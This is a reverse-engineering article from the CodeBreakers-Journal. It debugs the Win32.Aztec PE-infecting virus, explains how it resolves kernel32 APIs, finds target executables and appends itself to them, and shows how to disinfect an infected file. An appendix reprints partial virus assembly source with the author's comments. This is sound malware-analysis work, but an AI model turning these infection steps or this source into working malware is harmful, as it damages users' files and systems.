http://www.CodeBreakers-Journal.com

VX Reversing I, the basics

Eduardo Labir

Abstract

For many years, Virus Writers and Reverse Code Engineers have independently studied common topics. As a consequence, these two subjects have grown up as, apparentely, unrelated disciplines. NOT ANY LONGER.

This is the first of a serie of issues dealing with one of the most interesting topics in Reverse Code Engineering (RCE): Virus Reversing. In each article, we will try to analyze a virus or technique of special relevence for the RCE community, a small "piece of art" created by some of the elite VXers, of course from a RCE's view point.

Our politic is not to help people to learn to code viruses but to help Anti-virus people to deal with this sophisticated creaters and, needless to say, to bring new and fresh ideas to the RCE community.

Keywords: *Reverse Engineering, Computer Virus*

*The author **Eduardo Labir** has his main research focus on Virus Analysis and Reverse Code Engineering (RCE). He is author of several publications covering the analysis of viral functionality as an integral part. He is Associate Editor of the CodeBreakers-Journal.*

Acknowlegments: To all people at board.anticrack.de

I. Introduction

Virus Writting is nowadays one of the most interesting topics in Computer Science. We frequently hear in the news about new fast spreading i-worms making a mess of our computer networks. For example, the latest (in)famous MyDoom has been labelled as the ”most terrible virus ever written”... exactly as the last and next ones... Big companies invest millions of dollars in security but infection happens again and again, new and more devastating viruses are released in a matter of months and the Anti-Virus companies cannot do much more than patching their products to catch the latest one.

Most of these fast spreading viruses are poorly coded and do not offer anything worth to the average Reverse Code Engineer, we shall not deal with this script-kiddy stuff. However, some elite Virus Writers (Zombie, Vecna, Dark-Avenger, Benny...) are responsible of developping really complex and sophisticated creaters that will doubtless be worth studying.

This is the first of a, hopefully, long serie of articles exclusively devoted to the virus reversing world. Each issue will deal with a topic of interest for the Virus Writters (VXers), Reverse Code Engineers (RCEers) and - we hope - to the Anti-Virus people (AVers), always under the point of view of a RCEer.

Our aim is not to show how to code better viruses but to help into undertanding their techniques and to be able to incorporate their ideas as new anti-cracking weapons, we would also like the anti-virus people to get something positive from our analysis.

In this the very first paper, we will introduce the basic concepts of a Virus Reversing session. This paper is organized as follows: First we do a brief review of the story of viruses. Next, in section 2 we will debug a very elementery virus and will use our aquired knowlege to infect and disinfect a file. Finally, we give some references. The appendix contains the (incomplete) source code of the virus.

II. A brief history of VX

When talking about viruses one cannot omit to mention the old DOS times. The whole MS-DOS was like a big security hole and this let people to get into an endless search of new undocumented interruptions. At the very beginning, DOS viruses where simply small .COM files that appended to other files. Later, the increasing number of string scanners defeated those tiny viruses and VXers started to look for new technologies. This lead to the first serious virus techniques: stealth, TSRs (terminate and stay resident), tunneling, encryption,...At this point, we have to mention the Bulgarian Dark-Avanger, who created the first polymorphic engine (Mte). This beat AVers who, by then, were not prepared for something so innovative. As the time passed, better and better polymorphic engines appeared but the first emulators arrived as well. Emulators did not prevent from the creation of new and more sophisticated viruses, but managed to successfully fight back.

With the advent of Windows 95 the situation in the scene changed, many VXers left the scene and many groups died simply because the OS had changed at a deep level. Indeed, Microsoft, at the releasing Win95, announced that the new OS was so secure that computer viruses would simply die. Once again, MS was mistaken.

In about a couple of years, some of the old DOS virus writters updated themselfs and learnt to code for the new platform: JackQuerty, LordJulus,... they all contributed with their effort to start a new era. People learnt how to get into ring-0 and this turned the situation back to the ”worst” moments of the DOS times.

Meanwhile, a new technology had started to revolution the world: The Internet. Every computer connected to a single network, every virus having the possibility of doing an intercontinental trip in a few seconds. The I-worms, f.e. Melissa, started to devastate our networks

As the time passed, OSes got healthier. Win2000 definately closed all possibility of jumping to ring 0 for the viruses, but this has not been enough. User-level viruses have evolved in a dramatic way: metamorphism, inter-process communication,... viruses have grown in size - because the OS itself has grown in size - and are more and more complex and interesting. Some VXers (Zombie, Vecna,...) have created little marvels that have totally transformed the way assembler viruses are coded.

Unfortunately, not only this elite coders are in the scene. The door for lamers is now open as well, every body with some minimum skills can code an stupid self-mailing program that users will always open (?). Some of this worms are a shame for any assembler coder, but they succeed in the wild.

Social engineering is now an important part of virus writting, the AVers face the problem of avoiding infections for a bunch of users that will surely open something called `IAmAVirus___TXT.exe`. Therefore, only a few interesting groups remain in the Scene (29A,...) and their e-zines are released less and less frequently. The VX is dying.

III. First contact

A. Our first virus

In this introductory issue we will examine a virus from a tutorial of BillyBelcebu / iKX [3]. This virus is a very basic one but has all neccessary stuff to understand the philosophy behind the most complex ones. For an extensive revision of DOS viruses we suggest [1]

Our tipical enviroment for virus debugging will assume that the virus has been got ”in the wild”, meaning we do not have access to its source code. This also implies that no debug information must be enabled when compiling it.

Never forget this, if you make a mistake, you can infect your computer without noticing it. Our advises are:

1) Back-up your HD.
2) Whenever you think there is a minimum possibility of infection format inmediately the hard drive and re-install Windows. This couple of hours you loose will be nothing compared to the possibility of ending up jailed.
3) Physically disconnect your computer from the network.
4) Never send a virus to anybody, even if you are totally sure he will not run it. Viruses are always sent in source format or encrypted (never send an .exe, .vbs,...).
5) Have two partitions, one that you will only use for testing purposes and the other (uninfected) that you can use for your daily life.

B. Debugging the virus

Open it and...

```
00401000   PUSHAD ; preserve registers
00401001   PUSHFD ; preserve flags
00401002   CALL main.00401007 ; compute delta handle
00401007   POP EBP ;
00401008   MOV EAX,EBP ;
0040100A   SUB EBP,main.00401007 ; ebp = delta handle
00401010   SUB EAX,7 ;
00401013   SUB EAX,1000 ; eax = image base
```

This is a very standard start for a virus: First it preserves the registers, they will be restored before to jump to the host, second it computes the delta handle and image base. As you see, the virus assumes that the memory alignment for the OS is 1000h (not a big deal).

Before to anything else, once has to start to look for the image base of kernel32. From the many ways available one of the simplest is to take the value of [esp] at the very beginnning, this will always be a value inside kernel32 (the return to kernel32 after exiting the app):

```
0040101E   MOV ESI,[DWORD ESP+24] ; kernel32.77E614C7, "+24"
                                  ; cos of the first two pushes
00401022   AND ESI,FFFF0000   ; round to memory alignment
                                  ; (the image base will always
                      ; be a multiple of the memory alignment
...
```

And the search starts:

```
004012E0   CMP [WORD ESI],5A4D ; Does esi point to the 'MZ' stub?
004012E5   JE SHORT main.00401301 ; yes, kernelFound
004012E7   SUB ESI,10000     ; nop, go one page down and try there
004012ED   LOOPD SHORT main.004012E0 ; iterate
```

When the Image Base of kernel32 has been got, one is able to locate all APIs he needs. Normally, viruses will import APIs from kernel32, advapi32 and winsock. Sometimes, some of them (in particular the i-worms) will also import APIs from gdi32, user32, ole32 and others. The laters are usually to fool the AVers and use to be inside the latest i-worms.

Our small virus, will only try to get APIs from kernel32:

```
00401038   LEA EDI,[DWORD EBP+401564] ; storage
0040103E   LEA ESI,[DWORD EBP+40144C] ; strings of apis
00401044   CALL main.00401303 ; call FindAPIs
```

Now, let's review how the virus goes through the exports of kernel32 and locates all the APIs it needs:

First of all, our virus computes the length of the API name:

```
00401320   XOR AL,AL ; searh 0
00401322   SCAS BYTE PTR [EDI] ; edi -> 'FindFirstFileA',0
00401323   JNZ SHORT main.00401322 ; scasb (while != 0)
```

Now, it goes to the pe-header of kernel32:

```
0040132B   MOV ESI,3C ; MZ_lfanew
00401330   ADD ESI, [EBP+40144C] ; align to image base of kernel32
00401336   LODS WORD PTR [ESI] ; read pointer to PE signature
00401338   ADD EAX, [EBP+40144C]    ; align, now eax -> 'PE'
0040133E   MOV ESI, [EAX+78] ; RVA to exports
00401341   ADD ESI,1C ; RVA to AddressOfFunctions
00401344   ADD ESI, [EBP+40144C]   ; align to kernel32 image base
...
00401351   ADD EAX, [EBP+40144C]  ; now eax is the VA of AddressOfFunctions
..
00401358   LODS  [ESI] ; RVA to ED_AddressOfNames
00401359   ADD EAX, [EBP+40144C] ; align
..
00401361   LODS  [ESI] ; ED_AddressOfOrdinals
00401362   ADD EAX, [EBP+40144C] ; align
```

The virus has collected some information it needs about the exports, now it proceeds to check the names of the APIs until it finds one matching the one it looks for.

As you have probably experimented yourself while unpacking, is a great help to see the strings of the imported APIs on the screen. Virus writters are aware of this problem too and they also use CRC32-like algorithms. For those who haven't studied this stuff, CRC32-like algorithms compare a pre-computed hash of the API name we look for with the hash of the API found. This way is much better in terms of security but has some defects as well (you simply have to wait until the target saves the address).

Once we have found the address of the API we want, this has to be converted (by means of the AddressOfOrdinals array) into its correspondant element inside AddressOfFunctions. For this, one needs to keep track of the position occupied by the RVA to the name. Let's have a look at how the virus examines the names inside kernel32:

```
0040136A    XOR EBX,EBX ; ebx = index
0040136C   /LODS  [ESI] ; read RVA and point to next
0040136D   |PUSH ESI ; preserve esi
0040136E   |ADD EAX, [EBP+40144C] ; align, esi -> 'ActivateActCtx',0
00401374   |MOV ESI,EAX ;
00401376   |MOV EDI,EDX ; now it compares the API with the one it wants
00401378   |PUSH ECX
00401379   |CLD
0040137A   |REPE CMPS BYTE PTR [EDI],BYTE PTR [ESI]
0040137C   |POP ECX
0040137D   |JE SHORT main.00401383 ; they agree, found!
0040137F   |POP ESI ; nop, restore esi
00401380   |INC EBX ; increase index
00401381   \JMP SHORT main.0040136C ;
```

So at the end the API will be the ebx-th inside the AddressOfNames array. With this information one has to look at the AddressOfOrdinals array and see which is the index corresponding to the ebx-th (please, refer to a tutorial on the exports for a more detailed explaination):

```
00401384   XCHG EAX,EBX ; index into eax
00401385   SHL EAX,1 ; AddressOfOrdinals is an array of words
00401387   ADD EAX, [EBP+401564]  ; align to AddressOfOrdinals
```

Now, eax points to the ebx-th element into the AddressOfOrdinals:

```
...
00401390   LODS WORD PTR [ESI]
```

This way, we have into eax the index into the AddressOfFunctions of the API we look for. The AddressOfFunctions is an array of dwords and so we need to multiply by 4 the index to get the position of the API we are interested in:

```
00401392   SHL EAX,2
00401395   ADD EAX, [EBP+40155C]    ; align to AddressOfFunctions
```

Now, just take into account that the array AddressOfFunctions contains an RVA to the actual address of the API and you got it.

The algorithm proceeds until it has managed to retrieve all the APIS. If you've never dealt with exports location this algorithm might look strange, but with the help of a good tutorial it isn't difficult at all.

Some viruses do this kind of search only for kernel32, and after getting LoadLibraryA and GetProcAddress they use them for retrieving APIs from other dlls.

As we did in the pe-header manipulation, let's point out the presence of another two dangerous constants: 3Ch and 78h.

The virus has finally located all the imports and it can start to work.

Normally, after having constructed its own imports table, a virus will try to retrieve some information about the system where it is running. So, at this moment, it will be frequent to see calls to GetVersionEx, GetSystemDirectory, GetModuleFileName, ...

When all this information has been collected the virus will start to look for possible targets:

```
0040106C   LEA EDI,[DWORD EBP+4016E0] ; address to store the return
00401072   PUSH 7F ; size of buffer
00401074   PUSH EDI ;
00401075   CALL [DWORD EBP+401588] ; call GetWindowsDirectory
```

As you can well imagine, the WindowsDirectory and the SystemDirectory are the best targets for a virus, they contain the most sensitive .exes and dlls:

```
...
00401081   CALL [DWORD EBP+40158C] ; call kernel32.GetSystemDirectoryA
...
0040108D   CALL [DWORD EBP+401580] ; call kernel32.GetCurrentDirectory
```

Some virus do a exhaustive search through all drivers, enumerating them all and their subdirectories. However, this is a very time-consuming task and virus writters prefer to restrict themselves to some given directories (this assertion doesn't hold when looking for e-mail addresses or web servers, then the search is heavier). Some virus create a low priority thread to do these exhaustive searchs or limit the search time to a small bound.

When the main directories are located we start gossiping into them:

```
...
004010A1   PUSH EDI ; push offset "C:\Windows"
004010A2   CALL [DWORD EBP+401584] ; call kernel32.SetCurrentDirectoryA
```

Amazing, a loss of time. FindFirstFileA and FindNextFileA admit wildcards so you can simply use `"C:\Windows\System32\*.exe"` (i.e., concatenate the directory and the mask). Many virus writters simply rip the file-search code from another virus or re-use the same code once and again, so you'll see the use of SetCurrentDirectory very frequently.

Of course, we will not let the virus to alter any file inside the windows directory [in the next issue of this journal we'll let it]. To fool it, we will simply change the name of the directory from `"C:\Windows"` to our test directory, say `"C:\test"`. This way we will take control over the infection.

The virus, has placed itself - at least, this is what it thinks - inside the windows directory to start there the search and, now, it calls FindFirstFileA with the mask `"*.exe"`:

```
...
004010CF   PUSH EAX ; push offset "*.exe"
004010D0   CALL [DWORD EBP+401564] ; call kernel32.FindFirstFileA
```

After the call, we check the `WIN32_FIND_DATA` and see that the file it has found, the only one in that directory, is notepad.exe. After finding a possible host the virus will always need to retrieve some basic information about it: Timestamp, size and attributes (this virus is so basic that it hasn't calls to retrieve the timestamp). The virus needs to preserve the timestamp and attributes of the target, otherwise the user could suspect, and to know its size to be able to map it into memory.

When the virus has collected this information it checks the current attributes of the target and, if needed, changes them to `FILE_ATTRIBUTE_NORMAL`:

```
00401145   PUSH 80 ; push FILE_ATTRIBUTE_NORMAL
0040114A   PUSH ESI ; push search handle
0040114B   CALL [DWORD EBP+401578] ; call kernel32.SetFileAttributesA
```

The old attributes of the file have been stored at the value pointed by esi, after closing the file the virus will call SetFileAttributes to restore them.

Now it maps the file in memory , with at least FILE_MAP_WRITE — FILE_MAP_READ permissions, for easier manipulation:

```
...
004013DE   PUSH ESI ; push offset "notepad.exe"
004013DF   CALL [DWORD EBP+401570] ; call kernel32.CreateFileA

...
004013F4   CALL [DWORD EBP+401590] ; call kernel32.CreateFileMappingA

...
00401408   CALL [DWORD EBP+401594] ; call kernel32.MapViewOfFile
00401188   OR EAX,EAX ; mapping ok?
0040118A   JE main.004012A8 ; not,..
00401190   MOV [DWORD EBP+401554],EAX ; keep mapping image base
00401196   MOV ESI,[DWORD EAX+3C] ; esi = MZ_lfanew
00401199   ADD ESI,EAX ; align to mapping image base
```

Once the file has been mapped in memory the virus starts its manipulation. Now the virus has many ways of infecting the file

1) Add a new section and place itself there.
2) Overwrite the .reloc section (all programs are supposed to be loaded at their prefered image bases)
3) Look for a long chunk of zeroes, f.e. at the end of the data section, and overwrite it.
4) Move .rsrc, this section can be easily reallocated, and place themselfs there.
5) ...

For the sake of completeness, i'll mention two more sophisticated ways:

1) EPO: the virus jumps from a random point of the host (f.e., it diverts "call [xxxxxxxxh]").
2) The virus alters the pointer to the pe-header, so the loader takes the virus' pe-header.
3) The virus mixes with the host and reallocates all absolute references (Zmist, from Zombie, does it)

Normally, before to proceed to infect a file the virus checks it to ensure it is dealing with an exe:

```
0040119B   CMP [DWORD ESI],4550 ; cmp [esi], 'EP'
004011A1   JNZ main.00401297 ; error, not exe
```

After having checked that this is an exe it checks if it has been already infected. All viruses have an infection mark to avoid re-infection, most likely a modified value somewhere in the pe-header. Our virus uses the mark 'AZTC' at 4Ch:

```
004011A7   CMP [DWORD ESI+4C],43545A41 ; infected?
004011AE   JE main.00401297 ; yes, try next file
```

Obviously, the infection mark also helps Anti-viruses to find infected files. Some viruses are aware of this fact and simply mark non-infected files to make Avers to delete them.

Why the virus does the next two calls?.

```
...
004011BD   CALL [DWORD EBP+401598] ; call kernel32.UnmapViewOfFile
...
004011C9   CALL [DWORD EBP+40157C] ; call kernel32.CloseHandle
```

So the virus maps the file, checks it is a valid exe and suddenly unmaps it. Why?. When you map a file you have to know the size of the file. The virus needs to add some room for itself and, might be, a bit more for some working storage (instead of calling VirtualAlloc). The file was first mapped with the original size of the exe and, now, it will be reopened with room enough for the virus.

After mapping again the file with extra room for itself, the virus starts the pe-header manipulation. It has to enlarge the last section, possibly both the raw and the virtual size, to ensure it will be succesfully mapped in memory. The virus needs as well to set the characteristics of this last section to E0000020h (R/W/E), otherwise it'll crash.

Let's review the different manipulations the virus does, the following is almost an standard in virus writting:

```
00401214   MOVZX EAX,WORD PTR [EDI+6] ; eax = number of sections
00401218   DEC EAX ;
00401219   IMUL EAX,EAX,28      ; 28 = size of a section header,
                                ; so eax = size of all
... ; section headers but the last one

0040121E   ADD ESI,78 ; now esi points to the dir table
00401221   MOV EDX, [EDI+74]  ; [edi+74] = number of entries
                              ; in the directory table
00401224   SHL EDX,3 ; each entry has size 8, so edx = size of directory
; table
00401227   ADD ESI,EDX ; esi points to the last section

...
00401229   MOV EAX, [EDI+28] ; EntryPoint
..
00401232   MOV EAX, [EDI+34]              ; ImageBase
...
0040123B   MOV EDX, [ESI+10] ; LastSection.RawSize
0040123E   MOV EBX, EDX ; save it
00401240   ADD EDX, [ESI+14] ; [esi+14] = LastSection.PointerToRawData
```

So the virus knows that it has to write itself to the disk at PointerToRawData + RawSize. The virus needs to be particularly carefull about rounding up the virtual and raw sizes, not doing this in a proper way is an endless source of bugs into many viruses (for example, there's one inside this one).

Now the virus computes the virtual address where it will be loaded. This address is exactly at LastSection.VirtualAddress + LastSection.RawSize:

```
00401244   MOV EAX,EBX ; ebx = LastSection.RawSize
00401246   ADD EAX, [ESI+C] ; add LastSection.VirtualAddress
```

And it updates the entry point. The EP will be the virtual address where the virus will be loaded, i.e. the one we've just computed above:

```
00401249   MOV  [EDI+28],EAX ; update entry point
```

The Size of Image of the infected file has also to change, it needs to include the virus:

```
00401269   MOV EAX, [ESI+10] ; eax = new (rounded) RawSize
0040126C   ADD EAX, [ESI+C] ; add LastSection.VirtualAddress
0040126F   MOV  [EDI+50],EAX ; update SizeOfImage
```

Now the virus rounds up the new RawSize of the last section and updates it into the file mapping. Once the last section header has been updated to hold the virus the task is almost complete. As we mentioned above, the characteristics of the section where the virus resides have to be changed (with this infection procedure) to include Read, Write and Execute permissions. Obviously, AVers will inmediately suspect of this change and, so, many viruses only copy themselfs into sections having already Read/Write permissions (in windows, having Read permissions implies to have Execute ones). A better solution for the permission, already in use, it's to decrypt the virus in the stack [for example, see KME by 29A].

```
00401272   OR  [ESI+24],A0000020 ; update LastSection.Characteristics

...
00401279   MOV  [EDI+4C],43545A41 ; write the infection mark
...
0040128E   MOV ECX,544 ; write the virus to the host, ecx = length of virus
00401293   REP MOVS BYTE PTR [EDI],BYTE PTR [ESI]  ;
```

As we see, the appending procedure is pretty simple. You should remember some of the constants we saw along the infection, for example:

```
28h = size of section header
200h = file aligment
1000h = memory aligment
3ch = pointer to pe header
...
```

When you debug a virus, this constants help to locate the sections manipulation which is a key point. Infecting by adding a new section is not more difficult than what we've done, you have a full description of how to do it at ["Infecting the Portable Exe", LordJulus (1998)]. This article also includes a good description of our method. Once the file is infected we close everything and look for new targets.

```
...
004012AE   CALL [DWORD EBP+401598]    ; call kernel32.UnmapViewOfFile
...
004012BA   CALL [DWORD EBP+40157C]    ; call kernel32.CloseHandle
...
004012C6   CALL [DWORD EBP+40157C]    ; call kernel32.CloseHandle
...
004012D9   CALL [DWORD EBP+401578]    ; call kernel32.SetFileAttributes
                                      ;(restore attributes)
```

The virus has decided that it has to infect more file in this the very same directory, therefore it continues the search with another call to FindFirstFile. Is not the case for the virus but we have what we wanted, an infected sample of the virus. So, we will return FALSE and this way the virus will think that there are not any files left inside this directory.

```
...
00401138   CALL [DWORD EBP+40156C]           ; call kernel32.FindClose
```

Once the virus (thinks) has examined our windows directory it will start with the system directory. We have to proceed as we did, divert the search to our test directory where it will find the already infected copy of the fake host. Next, it will try to examine the test directory with similar results. It is convinient to debug into all the virus, even if you know that the call to CreateFileA will fail and the virus should stop searching. Some viruses have not a correct error handling, or some bug, and can make a disaster.

Finally, when the file search has concluded and after closing all handles:

```
00401867   POPAD ; restore registers
00401868   POPFD ; restore flags
```

The next is done only in the first generation, this is not run inside an infected file:

```
00401869   XOR EAX,EAX         ; kernel32.77E614C7
0040186B   PUSH EAX ;
0040186C   PUSH main.00402000  ; ASCII "[Win32.Aztec v1.01]"
00401871   PUSH main.00402014  ; ASCII "Aztec is a bugfixed... "
                               ; (some words from Billy)
00401876   PUSH EAX ;
00401877   CALL <JMP.&USER32.MessageBoxA>;

0040187C   PUSH 0 ;
0040187E   CALL <JMP.&KERNEL32.ExitProcess>;
```

C. Desinfection

We have managed to control the infection mechanism simply modifying the calls of the file search. Now, we have to disinfect the target to complete our tasks. When we run the infected program the virus will execute first, it will try again to go thru all the infection procedure but, once again, we will hook it and compell the virus to terminate. All viruses, instead of terminating, give control at some moment to the host. This will let us to know the entry point of the host and therefore to restore it and get rid of the virus.

This time, to make the procedure faster, we will return into FindFirstFileA the value `INVALID_HANDLE_VALUE`. So the virus will not infect any thing and will try to jump to the host. Everything goes as before:

```
...
00404275   CALL [DWORD EBP+401588] ; call kernel32.GetWindowsDirectoryA
...
004042A2   CALL [DWORD EBP+401584] ; call kernel32.SetCurrentDirectoryA
...
004042D0   CALL [DWORD EBP+401564] ; call kernel32.FindFirstFileA
```

Now, we simply set eax = -1. The virus will think that the directory is empty and will try the next directory, just repeat this trick for the three directories.

And...

```
0040425E   POPFD ; restore flags
0040425F   POPAD ; restore registers
00404260   MOV EAX,1000 ; RVA to entry point
00404265   ADD EAX,host.00400000  ; align to image base
0040426A   JMP EAX ; jump to entry point
```

So, our entry point is 1000h. Take your favourite PE-editor, remove the virus from the last section and change the entry point back to, 1000h. Congratulations, the file has been succesfully disinfected.

Removing the virus from the host can be skipped, is enough (if you are sure this is not an EPO virus) to restore the entry point. However, only restoring the entry point can be an inconvinient if your anti-virus detects that the virus still remains, this could become really annoying.

The summary of changes we have to do to the infected file, in this case, is the following:

1) Restore the entry point.
2) Overwrite the virus with zeroes.
3) Set the raw size of the last section to its original value, remember that OldRawSize + VirusSize (rounded up to the file aligment) = NewRawSize.
4) Restore the characteristics of the last section, not needed.
5) Remove the infection mark at the MZ header (otherwise the anti-virus can go off).

Finally, note that a simple string scanner will deflate this virus.

IV. Conclusion and Future Work

We have examined a very elementery virus and also we understand how to debug and disinfect it. In the next issue we will have to deal with YellowFever, this is a resident e-mail spreading virus with some very interesting capabilities.

References

[1] Ludwig, M., The Giant Black Book of Computer Viruses, 2nd Edition, American Eagle Publications, 1988.
[2] 29A e-zines, it Available at http:
29A.host.sk
[3] IKX e-zines, it Available at http://www.s0ftpj.org/archive/ikx/

V. Appendix

This is the original source code of the virus we have examined, comments of the author - due to their interest - are unedited. However, part of the code has been removed to avoid direct compilation into a virus.

```
;[ CUT HERE ]
; [Win32.Aztec v1.01] - Bugfixed lite version of Iced Earth
; Copyright (c) 1999 by Billy Belcebu/iKX
;
; Virus Name    : Aztec v1.01
; Virus Author  : Billy Belcebu/iKX
; Origin        : Spain
; Platform      : Win32
; Target        : PE files
; Compiling     : TASM 5.0 and TLINK 5.0 should be used
;                       tasm32 /ml /m3 aztec,,;
;                       tlink32 /Tpe /aa /c /v aztec,aztec,,import32.lib,
;                       pewrsec aztec.exe
; Notes         : Anything special this time. Simply a heavy bug-fixing of
;                 Iced Earth virus, and removed any special feature on
;                 purpose. This is really a virus for learn Win32.
; Why 'Aztec'?  : Why that name? Many reasons:
;                  If there is an Inca virus and a Maya virus... ;)
;                  I lived in Mexico six months of my life
;                  I hate the fascist way that Hernan Cortes used for steal
;                   their territory to the Aztecs
;                  I like the kind of mithology they had ;)
;                  My shitty soundcard is an Aztec :)
;                  I love Salma Hayek! :)~
;                  KidChaos is a friend :)
; Greetings     : Well, this time only greets to all the ppl at EZLN & MRTA.
;                 Good luck all, and... keep'on fighting!
;
; (c) 1999 Billy Belcebu/iKX


; Some equates useful for the virus

virus_size      equ     (offset virus_end-offset virus_start)
heap_size       equ     (offset heap_end-offset heap_start)
total_size      equ     virus_size+heap_size
shit_size       equ     (offset delta-offset aztec)

; Only hardcoded for 1st generation, don't worry ;)

kernel_         equ     0BFF70000h
kernel_wNT      equ     077F00000h

        .data

szTitle         db      "[Win32.Aztec v1.01]",0

szMessage       db      "Aztec is a bugfixed version of my Iced Earth",10
                db      "virus, with some optimizations and with some",10
                db      "'special' features removed. Anyway, it will",10
                db      "be able to spread in the wild succefully :)",10,10
                db      "(c) 1999 by Billy Belcebu/iKX",0

 ;-------------------------------------;
 ; All this is a shit: there are some macros for make the code more good-   ;
 ; looking, and there is some stuff for the first generation, etc.          ;
 ;-------------------------------------;

        .code

virus_start     label   byte

aztec:
        pushad                                  ; Push all the registers
        pushfd                                  ; Push the FLAG register
```

```
        call    delta                           ; Hardest code to undestand ;)
delta:  pop     ebp
        mov     eax,ebp
        sub     ebp,offset delta

        sub     eax,shit_size                   ; Obtain the Image Base on
        sub     eax,00001000h                   ; the fly
NewEIP  equ     $-4
        mov     dword ptr [ebp+ModBase],eax

 ;-------------------------------------;
 ; Ok. First of all, i push into the stack all the registers and all the    ;
 ; flags (not because it's needed, just because i like to do it always).    ;
 ; After that, what i do is very important. Yes! It is the delta offset! We ;
 ; must get it because the reason you must know: we don't know where the    ;
 ; fuck we are executing the code, so with this we can know it easily... I  ;
 ; won't tell you more about delta offset coz i am sure that you know about ;
 ; it from DOS coding ;) Well, what follows it is the way to obtain exactly ;
 ; the Image Base of the current process, that is needed for return control ;
 ; to the host (will be done later). Firstly we substract the bytes between ;
 ; delta label and aztec label (7 bytes->PUSHAD (1)+PUSHFD (1)+CALL (5)),   ;
 ; after that we substract the current EIP (patched at infection time), and ;
 ; voila! We have the current Image Base.                                   ;
 ;-------------------------------------;


        mov     esi,[esp+24h]                   ; Get program return address
        and     esi,0FFFF0000h                  ; Align to 10 pages
        mov     ecx,5                           ; 50 pages (in groups of 10)
        call    GetK32                          ; Call it
        mov     dword ptr [ebp+kernel],eax      ; EAX must be K32 base address

 ;-------------------------------------;
 ; Well, fisrtly we put in ESI the address from the process was called (it  ;
 ; is in KERNEL32.DLL, probably CreateProcess API), that is initially in da ;
 ; address pointed by ESP, but as we used the stack for push 24 bytes (20   ;
 ; used with the PUSHAD, the other 4 by the PUSHFD), we have to fix it. And ;
 ; after that we align it to 10 pages, making the less significant word of  ;
 ; ESI to be 0. After that we set the other parameter for the GetK32 proce- ;
 ; dure, ECX, that holds the maximum number of groups of 10 pages to look   ;
 ; for to 5 (that is 5*10=50 pages), and after that we call to the routine. ;
 ; As it will return us the correct KERNEL32 base address, we store it.     ;
 ;-------------------------------------;

        lea     edi,[ebp+@@Offsetz]
        lea     esi,[ebp+@@Namez]
        call    GetAPIs                         ; Retrieve all APIs

        call    PrepareInfection
        call    InfectItAll

 ;-------------------------------------;
 ; Firstly we set up the parameters for the GetAPIs routine, that is in EDI ;
 ; a pointer to an array of DWORDs that will hold the API addresses, and in ;
 ; ESI all the API ASCIIz names to search for.                              ;
 ;-------------------------------------;

        xchg    ebp,ecx                         ; Is 1st gen?
        jecxz   fakehost

        popfd                                   ; Restore all flags
        popad                                   ; Restore all registers

        mov     eax,12345678h
        org     $-4
OldEIP  dd      00001000h

        add     eax,12345678h
        org     $-4
ModBase dd      00400000h

        jmp     eax
```

```
 ;-------------------------------------;
 ; Firstly we see if we are in the first generation of the virus, by means  ;
 ; of checking if EBP is equal to zero. If it is, we jump to the first gen. ;
 ; host. But if it is not, we pull from stack firstly the FLAGs register,   ;
 ; and after all the extended registers. After that we have the instruction ;
 ; that puts in EAX the old entrypoint that the infected program had (that  ;
 ; is patched at infection time), and after that we add to it the ImageBase ;
 ; of the current process (patched at runtime). So we go to it!             ;
 ;-------------------------------------;

PrepareInfection:
        lea     edi,[ebp+WindowsDir]            ; Pointer to the 1st dir
        push    7Fh                             ; Push the size of the buffer
        push    edi                             ; Push address of that buffer
        call    [ebp+_GetWindowsDirectoryA]     ; Get windoze dir

        add     edi,7Fh                         ; Pointer to the 2nd dir
        push    7Fh                             ; Push the size of the buffer
        push    edi                             ; Push address of that buffer
        call    [ebp+_GetSystemDirectoryA]      ; Get windoze\system dir

        add     edi,7Fh                         ; Pointer to the 3rd dir
        push    edi                             ; Push address of that buffer
        push    7Fh                             ; Push the size of the buffer
        call    [ebp+_GetCurrentDirectoryA]     ; Get current dir
        ret

 ;-------------------------------------;
 ; Well, this is a simple procedure that is used for obtain all the dirs    ;
 ; where the virus will search for files to infect, and in this particular  ;
 ; order. As the maximum length of a directory are 7F bytes, i've put in    ;
 ; the heap (see below) three consecutive variables, thus avoiding unuseful ;
 ; code to ocuppy more bytes, and unuseful data to travel with the virus.   ;
 ; Please note that there is not any mistake in the last API, because the   ;
 ; order changes in that API. Let's make a more deep analisys of that APIs: ;
 ;                                                                          ;
 ; The GetWindowsDirectory function retrieves the path of the Windows dir.  ;
 ; The Windows directory contains such files as Windows-based applications, ;
 ; initialization files, and Help files.                                    ;
 ;                                                                          ;
 ; UINT GetWindowsDirectory(                                                ;
 ;   LPTSTR lpBuffer,    // address of buffer for Windows directory         ;
 ;   UINT uSize  // size of directory buffer                                ;
 ;  );                                                                      ;
 ;                                                                          ;
 ; Parameters                                                               ;
 ;                                                                  ;
 ;  lpBuffer: Points to the buffer to receive the null-terminated string   ;
 ;   containing the path. This path does not end with a backslash unless da ;
 ;   Windows directory is the root directory. For example, if the Windows   ;
 ;   directory is named WINDOWS on drive C, the path of the Windows direct- ;
 ;   ory retrieved by this function is C:\WINDOWS. If Windows was installed ;
 ;   in the root directory of drive C, the path retrieved is C:\.           ;
 ;  uSize: Specifies the maximum size, in characters, of the buffer speci- ;
 ;   fied by the lpBuffer parameter. This value should be set to at least   ;
 ;   MAX_PATH to allow sufficient room in the buffer for the path.          ;
 ;                                                                          ;
 ; Return Values                                                            ;
 ;                                                          ;
 ;                                                                          ;
 ;  If the function succeeds, the return value is the length, in chars, of ;
 ;   the string copied to the buffer, not including the terminating null    ;
 ;   character.                                                             ;
 ;  If the length is greater than the size of the buffer, the return value ;
 ;   is the size of the buffer required to hold the path.                   ;
 ;                                                                          ;
 ;-------------------------------------;

InfectItAll:
        lea     edi,[ebp+directories]           ; Pointer to 1st directory
        mov     byte ptr [ebp+mirrormirror],03h ; 3 directories
```

```
requiem:
        push    edi                             ; Set dir pointed by EDI
        call    [ebp+_SetCurrentDirectoryA]

        push    edi                             ; Save EDI
        call    Infect                          ; Infect files in selected dir
        pop     edi                             ; Restore EDI

        add     edi,7Fh                         ; Another directory

        dec     byte ptr [ebp+mirrormirror]     ; Decrease counter
        jnz     requiem                         ; Is last? No, let's go again
        ret

 ;-------------------------------------;
 ; What we do at the beginning is to make EDI to point to the first dir in  ;
 ; the array, and after that we set up the number of directories we want to ;
 ; infect (dirs2inf=3). Well, after that we have the main loop. It consists ;
 ; in the following: we change the directory to the current selected dir of ;
 ; the array, we infect all the wanted files in that directory, and we get  ;
 ; another directory until we completed the 3 we want. Simple, huh? :) Well ;
 ; it is time to see the characteristics of SetCurrentDirectory API:        ;
 ;                                                                          ;
